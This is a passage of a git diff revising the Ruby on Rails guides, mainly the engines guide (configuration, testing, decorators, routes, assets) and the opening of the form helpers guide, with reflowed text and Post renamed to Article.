+Now instead of the ugly Ruby object output, the author's name will be displayed.
 
-#### Using a controller provided by the application
+#### Using a Controller Provided by the Application
 
-Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like:
+Because Rails controllers generally share code for things like authentication
+and accessing session variables, they inherit from `ApplicationController` by
+default. Rails engines, however are scoped to run independently from the main
+application, so each engine gets a scoped `ApplicationController`. This
+namespace prevents code collisions, but often engine controllers need to access
+methods in the main application's `ApplicationController`. An easy way to
+provide this access is to change the engine's scoped `ApplicationController` to
+inherit from the main application's `ApplicationController`. For our Blorgh
+engine this would be done by changing
+`app/controllers/blorgh/application_controller.rb` to look like:
 
 ```ruby
 class Blorgh::ApplicationController < ApplicationController
 end
 ```
 
-By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application.
+By default, the engine's controllers inherit from
+`Blorgh::ApplicationController`. So, after making this change they will have
+access to the main application's `ApplicationController`, as though they were
+part of the main application.
 
-This change does require that the engine is run from a Rails application that has an `ApplicationController`.
+This change does require that the engine is run from a Rails application that
+has an `ApplicationController`.
 
-### Configuring an engine
+### Configuring an Engine
 
-This section covers how to make the `User` class configurable, followed by general configuration tips for the engine.
+This section covers how to make the `User` class configurable, followed by
+general configuration tips for the engine.
 
-#### Setting configuration settings in the application
+#### Setting Configuration Settings in the Application
 
-The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `author_class` that will be used to specify what the class representing users is inside the application.
+The next step is to make the class that represents a `User` in the application
+customizable for the engine. This is because that class may not always be
+`User`, as previously explained. To make this setting customizable, the engine
+will have a configuration setting called `author_class` that will be used to
+specify which class represents users inside the application.
 
-To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line:
+To define this configuration setting, you should use a `mattr_accessor` inside
+the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the
+engine:
 
 ```ruby
 mattr_accessor :author_class
 ```
 
-This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.author_class`.
+This method works like its brothers, `attr_accessor` and `cattr_accessor`, but
+provides a setter and getter method on the module with the specified name. To
+use it, it must be referenced using `Blorgh.author_class`.
 
-The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this:
+The next step is to switch the `Blorgh::Article` model over to this new setting.
+Change the `belongs_to` association inside this model
+(`app/models/blorgh/article.rb`) to this:
 
 ```ruby
 belongs_to :author, class_name: Blorgh.author_class
 ```
 
-The `set_author` method also located in this class should also use this class:
+The `set_author` method in the `Blorgh::Article` model should also use this class:
 
 ```ruby
 self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
 ```
 
-To save having to call `constantize` on the `author_class` result all the time, you could instead just override the `author_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result:
+To save having to call `constantize` on the `author_class` result all the time,
+you could instead just override the `author_class` getter method inside the
+`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the
+saved value before returning the result:
 
 ```ruby
 def self.author_class
@@ -661,82 +958,145 @@ This would then turn the above code for `set_author` into this:
 self.author = Blorgh.author_class.find_or_create_by(name: author_name)
 ```
 
-Resulting in something a little shorter, and more implicit in its behavior. The `author_class` method should always return a `Class` object.
+Resulting in something a little shorter, and more implicit in its behavior. The
+`author_class` method should always return a `Class` object.
 
-Since we changed the `author_class` method to no longer return a
-`String` but a `Class` we must also modify our `belongs_to` definition
-in the `Blorgh::Post` model:
+Since we changed the `author_class` method to return a `Class` instead of a
+`String`, we must also modify our `belongs_to` definition in the `Blorgh::Article`
+model:
 
 ```ruby
 belongs_to :author, class_name: Blorgh.author_class.to_s
 ```
 
-To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
+To set this configuration setting within the application, an initializer should
+be used. By using an initializer, the configuration will be set up before the
+application starts and calls the engine's models, which may depend on this
+configuration setting existing.
 
-Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it:
+Create a new initializer at `config/initializers/blorgh.rb` inside the
+application where the `blorgh` engine is installed and put this content in it:
 
 ```ruby
 Blorgh.author_class = "User"
 ```
 
-WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on.
+WARNING: It's very important here to use the `String` version of the class,
+rather than the class itself. If you were to use the class, Rails would attempt
+to load that class and then reference the related table. This could lead to
+problems if the table wasn't already existing. Therefore, a `String` should be
+used and then converted to a class using `constantize` in the engine later on.
 
-Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is.
+Go ahead and try to create a new article. You will see that it works exactly in the
+same way as before, except this time the engine is using the configuration
+setting in `config/initializers/blorgh.rb` to learn what the class is.
 
-There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
+There are now no strict dependencies on what the class is, only what the API for
+the class must be. The engine simply requires this class to define a
+`find_or_create_by` method which returns an object of that class, to be
+associated with an article when it's created. This object, of course, should have
+some sort of identifier by which it can be referenced.
 
-#### General engine configuration
+#### General Engine Configuration
 
-Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+Within an engine, there may come a time where you wish to use things such as
+initializers, internationalization or other configuration options. The great
+news is that these things are entirely possible, because a Rails engine shares
+much the same functionality as a Rails application. In fact, a Rails
+application's functionality is actually a superset of what is provided by
+engines!
 
 If you wish to use an initializer - code that should run before the engine is
 loaded - the place for it is the `config/initializers` folder. This directory's
-functionality is explained in the
-[Initializers section](configuring.html#initializers) of the Configuring guide,
-and works precisely the same way as the `config/initializers` directory inside
-an application. Same goes for if you want to use a standard initializer.
+functionality is explained in the [Initializers
+section](configuring.html#initializers) of the Configuring guide, and works
+precisely the same way as the `config/initializers` directory inside an
+application. The same thing goes if you want to use a standard initializer.
 
-For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.
+For locales, simply place the locale files in the `config/locales` directory,
+just like you would in an application.
 
 Testing an engine
 -----------------
 
-When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
+When an engine is generated, there is a smaller dummy application created inside
+it at `test/dummy`. This application is used as a mounting point for the engine,
+to make testing the engine extremely simple. You may extend this application by
+generating controllers, models or views from within the directory, and then use
+those to test your engine.
 
-The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
+The `test` directory should be treated like a typical Rails testing environment,
+allowing for unit, functional and integration tests.
 
-### Functional tests
+### Functional Tests
 
-A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application - the `test/dummy` application - rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this:
+A matter worth taking into consideration when writing functional tests is that
+the tests are going to be running on an application - the `test/dummy`
+application - rather than your engine. This is due to the setup of the testing
+environment; an engine needs an application as a host for testing its main
+functionality, especially controllers. This means that if you were to make a
+typical `GET` to a controller in a controller's functional test like this:
 
 ```ruby
-get :index
+module Blorgh
+  class FooControllerTest < ActionController::TestCase
+    def test_index
+      get :index
+      ...
+    end
+  end
+end
 ```
 
-It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also:
+It may not function correctly. This is because the application doesn't know how
+to route these requests to the engine unless you explicitly tell it **how**. To
+do this, you must set the `@routes` instance variable to the engine's route set
+in your setup code:
 
 ```ruby
-get :index, use_route: :blorgh
+module Blorgh
+  class FooControllerTest < ActionController::TestCase
+    setup do
+      @routes = Engine.routes
+    end
+
+    def test_index
+      get :index
+      ...
+    end
+  end
+end
 ```
 
-This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application.
+This tells the application that you still want to perform a `GET` request to the
+`index` action of this controller, but you want to use the engine's route to get
+there, rather than the application's one.
+
+This also ensures that the engine's URL helpers will work as expected in your
+tests.
 
 Improving engine functionality
 ------------------------------
 
-This section explains how to add and/or override engine MVC functionality in the main Rails application.
+This section explains how to add and/or override engine MVC functionality in the
+main Rails application.
 
 ### Overriding Models and Controllers
 
-Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern.
+Engine model and controller classes can be extended by open classing them in the
+main Rails application (since model and controller classes are just Ruby classes
+that inherit Rails specific functionality). Open classing an Engine class
+redefines it for use in the main application. This is usually implemented by
+using the decorator pattern.
 
-For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`.
+For simple class modifications, use `Class#class_eval`. For complex class
+modifications, consider using `ActiveSupport::Concern`.
 
-#### A note on Decorators and loading code
+#### A note on Decorators and Loading Code
 
 Because these decorators are not referenced by your Rails application itself,
-Rails' autoloading system will not kick in and load your decorators. This
-means that you need to require them yourself.
+Rails' autoloading system will not kick in and load your decorators. This means
+that you need to require them yourself.
 
 Here is some sample code to do this:
 
@@ -760,12 +1120,12 @@ that isn't referenced by your main application.
 
 #### Implementing Decorator Pattern Using Class#class_eval
 
-**Adding** `Post#time_since_created`,
+**Adding** `Article#time_since_created`:
 
 ```ruby
-# MyApp/app/decorators/models/blorgh/post_decorator.rb
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
 
-Blorgh::Post.class_eval do
+Blorgh::Article.class_eval do
   def time_since_created
     Time.current - created_at
   end
@@ -773,20 +1133,20 @@ end
 ```
 
 ```ruby
-# Blorgh/app/models/post.rb
+# Blorgh/app/models/article.rb
 
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   has_many :comments
 end
 ```
 
 
-**Overriding** `Post#summary`
+**Overriding** `Article#summary`:
 
 ```ruby
-# MyApp/app/decorators/models/blorgh/post_decorator.rb
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
 
-Blorgh::Post.class_eval do
+Blorgh::Article.class_eval do
   def summary
     "#{title} - #{truncate(text)}"
   end
@@ -794,9 +1154,9 @@ end
 ```
 
 ```ruby
-# Blorgh/app/models/post.rb
+# Blorgh/app/models/article.rb
 
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   has_many :comments
   def summary
     "#{title}"
@@ -806,15 +1166,19 @@ end
 
 #### Implementing Decorator Pattern Using ActiveSupport::Concern
 
-Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.
+Using `Class#class_eval` is great for simple adjustments, but for more complex
+class modifications, you might want to consider using [`ActiveSupport::Concern`]
+(http://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
+ActiveSupport::Concern manages load order of interlinked dependent modules and
+classes at run time allowing you to significantly modularize your code.
 
-**Adding** `Post#time_since_created` and **Overriding** `Post#summary`
+**Adding** `Article#time_since_created` and **Overriding** `Article#summary`:
 
 ```ruby
-# MyApp/app/models/blorgh/post.rb
+# MyApp/app/models/blorgh/article.rb
 
-class Blorgh::Post < ActiveRecord::Base
-  include Blorgh::Concerns::Models::Post
+class Blorgh::Article < ActiveRecord::Base
+  include Blorgh::Concerns::Models::Article
 
   def time_since_created
     Time.current - created_at
@@ -827,22 +1191,22 @@ end
 ```
 
 ```ruby
-# Blorgh/app/models/post.rb
+# Blorgh/app/models/article.rb
 
-class Post < ActiveRecord::Base
-  include Blorgh::Concerns::Models::Post
+class Article < ActiveRecord::Base
+  include Blorgh::Concerns::Models::Article
 end
 ```
 
 ```ruby
-# Blorgh/lib/concerns/models/post
+# Blorgh/lib/concerns/models/article
 
-module Blorgh::Concerns::Models::Post
+module Blorgh::Concerns::Models::Article
   extend ActiveSupport::Concern
 
   # 'included do' causes the included code to be evaluated in the
-  # context where it is included (post.rb), rather than be
-  # executed in the module's context (blorgh/concerns/models/post).
+  # context where it is included (article.rb), rather than being
+  # executed in the module's context (blorgh/concerns/models/article).
   included do
     attr_accessor :author_name
     belongs_to :author, class_name: "User"
@@ -850,7 +1214,6 @@ module Blorgh::Concerns::Models::Post
     before_save :set_author
 
     private
-
       def set_author
         self.author = User.find_or_create_by(name: author_name)
       end
@@ -868,76 +1231,116 @@ module Blorgh::Concerns::Models::Post
 end
 ```
 
-### Overriding views
+### Overriding Views
 
-When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory.
+When Rails looks for a view to render, it will first look in the `app/views`
+directory of the application. If it cannot find the view there, it will check in
+the `app/views` directories of all engines that have this directory.
 
-In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine.
+When the application is asked to render the view for `Blorgh::ArticlesController`'s
+index action, it will first look for the path
+`app/views/blorgh/articles/index.html.erb` within the application. If it cannot
+find it, it will look inside the engine.
 
-You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output.
+You can override this view in the application by simply creating a new file at
+`app/views/blorgh/articles/index.html.erb`. Then you can completely change what
+this view would normally output.
 
-Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it:
+Try this now by creating a new file at `app/views/blorgh/articles/index.html.erb`
+and put this content in it:
 
 ```html+erb
-<h1>Posts</h1>
-<%= link_to "New Post", new_post_path %>
-<% @posts.each do |post| %>
-  <h2><%= post.title %></h2>
-  <small>By <%= post.author %></small>
-  <%= simple_format(post.text) %>
+<h1>Articles</h1>
+<%= link_to "New Article", new_article_path %>
+<% @articles.each do |article| %>
+  <h2><%= article.title %></h2>
+  <small>By <%= article.author %></small>
+  <%= simple_format(article.text) %>
   <hr>
 <% end %>
 ```
 
 ### Routes
 
-Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash.
+Routes inside an engine are isolated from the application by default. This is
+done by the `isolate_namespace` call inside the `Engine` class. This essentially
+means that the application and its engines can have identically named routes and
+they will not clash.
 
-Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this:
+Routes inside an engine are drawn on the `Engine` class within
+`config/routes.rb`, like this:
 
 ```ruby
 Blorgh::Engine.routes.draw do
-  resources :posts
+  resources :articles
 end
 ```
 
-By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined.
+By having isolated routes such as this, if you wish to link to an area of an
+engine from within an application, you will need to use the engine's routing
+proxy method. Calls to normal routing methods such as `articles_path` may end up
+going to undesired locations if both the application and the engine have such a
+helper defined.
 
-For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine:
+For instance, the following example would go to the application's `articles_path`
+if that template was rendered from the application, or the engine's `articles_path`
+if it was rendered from the engine:
 
 ```erb
-<%= link_to "Blog posts", posts_path %>
+<%= link_to "Blog articles", articles_path %>
 ```
 
-To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
+To make this route always use the engine's `articles_path` routing helper method,
+we must call the method on the routing proxy method that shares the same name as
+the engine.
 
 ```erb
-<%= link_to "Blog posts", blorgh.posts_path %>
+<%= link_to "Blog articles", blorgh.articles_path %>
 ```
 
-If you wish to reference the application inside the engine in a similar way, use the `main_app` helper:
+If you wish to reference the application inside the engine in a similar way, use
+the `main_app` helper:
 
 ```erb
 <%= link_to "Home", main_app.root_path %>
 ```
 
-If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
+If you were to use this inside an engine, it would **always** go to the
+application's root. If you were to leave off the `main_app` "routing proxy"
+method call, it could potentially go to the engine's or application's root,
+depending on where it was called from.
 
-If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine.
+If a template rendered from within an engine attempts to use one of the
+application's routing helper methods, it may result in an undefined method call.
+If you encounter such an issue, ensure that you're not attempting to call the
+application's routing methods without the `main_app` prefix from within the
+engine.
 
 ### Assets
 
-Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets.
+Assets within an engine work in an identical way to a full application. Because
+the engine class inherits from `Rails::Engine`, the application will know to
+look up assets in the engine's 'app/assets' and 'lib/assets' directories.
 
-Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
+Like all of the other components of an engine, the assets should be namespaced.
+This means that if you have an asset called `style.css`, it should be placed at
+`app/assets/stylesheets/[engine name]/style.css`, rather than
+`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a
+possibility that the host application could have an asset named identically, in
+which case the application's asset would take precedence and the engine's one
+would be ignored.
 
-Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine:
+Imagine that you did have an asset located at
+`app/assets/stylesheets/blorgh/style.css` To include this asset inside an
+application, just use `stylesheet_link_tag` and reference the asset as if it
+were inside the engine:
 
 ```erb
 <%= stylesheet_link_tag "blorgh/style.css" %>
 ```
 
-You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
+You can also specify these assets as dependencies of other assets using Asset
+Pipeline require statements in processed files:
 
 ```
 /*
@@ -945,16 +1348,21 @@ You can also specify these assets as dependencies of other assets using the Asse
 */
 ```
 
-INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`.
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you
+should add the relevant library to your engine's `.gemspec`.
 
 ### Separate Assets & Precompiling
 
-There are some situations where your engine's assets are not required by the host application. For example, say that you've created
-an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css`
-or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
-This tells sprockets to add your engine assets when `rake assets:precompile` is ran.
+There are some situations where your engine's assets are not required by the
+host application. For example, say that you've created an admin functionality
+that only exists for your engine. In this case, the host application doesn't
+need to require `admin.css` or `admin.js`. Only the gem's admin layout needs
+these assets. It doesn't make sense for the host app to include
+`"blorgh/admin.css"` in its stylesheets. In this situation, you should
+explicitly define these assets for precompilation.  This tells sprockets to add
+your engine assets when `rake assets:precompile` is triggered.
 
-You can define assets for precompilation in `engine.rb`
+You can define assets for precompilation in `engine.rb`:
 
 ```ruby
 initializer "blorgh.assets.precompile" do |app|
@@ -962,15 +1370,15 @@ initializer "blorgh.assets.precompile" do |app|
 end
 ```
 
-For more information, read the [Asset Pipeline guide](asset_pipeline.html)
+For more information, read the [Asset Pipeline guide](asset_pipeline.html).
 
-### Other gem dependencies
+### Other Gem Dependencies
 
-Gem dependencies inside an engine should be specified inside the
-`.gemspec` file at the root of the engine. The reason is that the engine may
-be installed as a gem. If dependencies were to be specified inside the `Gemfile`,
-these would not be recognized by a traditional gem install and so they would not
-be installed, causing the engine to malfunction.
+Gem dependencies inside an engine should be specified inside the `.gemspec` file
+at the root of the engine. The reason is that the engine may be installed as a
+gem. If dependencies were to be specified inside the `Gemfile`, these would not
+be recognized by a traditional gem install and so they would not be installed,
+causing the engine to malfunction.
 
 To specify a dependency that should be installed with the engine during a
 traditional `gem install`, specify it inside the `Gem::Specification` block
@@ -988,11 +1396,12 @@ s.add_development_dependency "moo"
 ```
 
 Both kinds of dependencies will be installed when `bundle install` is run inside
-the application. The development dependencies for the gem will only be used when
-the tests for the engine are running.
+of the application. The development dependencies for the gem will only be used
+when the tests for the engine are running.
 
 Note that if you want to immediately require dependencies when the engine is
-required, you should require them before the engine's initialization. For example:
+required, you should require them before the engine's initialization. For
+example:
 
 ```ruby
 require 'other_engine/engine'
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index 578cfbe105..90004c611b 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -1,23 +1,24 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Form Helpers
 ============
 
-Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails does away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use.
 
 After reading this guide, you will know:
 
 * How to create search forms and similar kind of generic forms not representing any specific model in your application.
-* How to make model-centric forms for creation and editing of specific database records.
+* How to make model-centric forms for creating and editing specific database records.
 * How to generate select boxes from multiple types of data.
-* The date and time helpers Rails provides.
+* What date and time helpers Rails provides.
 * What makes a file upload form different.
-* Some cases of building forms to external resources.
+* How to post forms to external resources and specify setting an `authenticity_token`.
 * How to build complex forms.
 
 --------------------------------------------------------------------------------
 
 NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
 
-
 Dealing with Basic Forms
 ------------------------
 
@@ -32,18 +33,14 @@ The most basic form helper is `form_tag`.
 When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
 
 ```html
-<form accept-charset="UTF-8" action="/home/index" method="post">
-  <div style="margin:0;padding:0">
-    <input name="utf8" type="hidden" value="&#x2713;" />
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
+<form accept-charset="UTF-8" action="/" method="post">
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
   Form contents
 </form>
 ```
 
-Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](./security.html#cross-site-request-forgery-csrf).
-
-NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.
+You'll notice that the HTML contains `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element has name attribute of `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf).
 
 ### A Generic Search Form
 
@@ -68,13 +65,14 @@ This will generate the following HTML:
 
 ```html
 <form accept-charset="UTF-8" action="/search" method="get">
+  <input name="utf8" type="hidden" value="&#x2713;" />
   <label for="q">Search for:</label>
   <input id="q" name="q" type="text" />
   <input name="commit" type="submit" value="Search" />
 </form>
 ```
 
-TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
 
 Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
 
@@ -100,7 +98,15 @@ form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_
 
 ### Helpers for Generating Form Elements
 
-Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`.
+Rails provides a series of helpers for generating form elements such as
+checkboxes, text fields, and radio buttons. These basic helpers, with names
+ending in `_tag` (such as `text_field_tag` and `check_box_tag`), generate just a
+single `<input>` element. The first parameter to these is always the name of the
+input. When the form is submitted, the name will be passed along with the form
+data, and will make its way to the `params` hash in the controller with the
+value entered by the user for that field. For example, if the form contains `<%=
+text_field_tag(:query) %>`, then you would be able to get the value of this
+field in the controller with `params[:query]`.
 
 When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
 
@@ -146,7 +152,7 @@ Output:
 <label for="age_adult">I'm over 21</label>
 ```
 
-As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult".
+As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either `"child"` or `"adult"`.
 
 NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and,
 by expanding the clickable region,
@@ -154,7 +160,10 @@ make it easier for users to click the inputs.
 
 ### Other Helpers of Interest
 
-Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
+Other form controls worth mentioning are textareas, password fields,
+hidden fields, search fields, telephone fields, date fields, time fields,
+color fields, datetime fields, datetime-local fields, month fields, week fields,
+URL fields, email fields, number fields and range fields:
 
 ```erb
 <%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
@@ -171,6 +180,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel
 <%= email_field(:user, :address) %>
 <%= color_field(:user, :favorite_color) %>
 <%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
 ```
 
 Output:
@@ -190,11 +201,20 @@ Output:
 <input id="user_address" name="user[address]" type="email" />
 <input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
 <input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
 ```
 
 Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
 
-IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features.
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
+month, week, URL, email, number and range inputs are HTML5 controls.
+If you require your app to have a consistent experience in older browsers,
+you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
+There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are
+[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/),
+which provide a simple way to add functionality based on the presence of
+detected HTML5 features.
 
 TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
 
@@ -203,7 +223,7 @@ Dealing with Model Objects
 
 ### Model Object Helpers
 
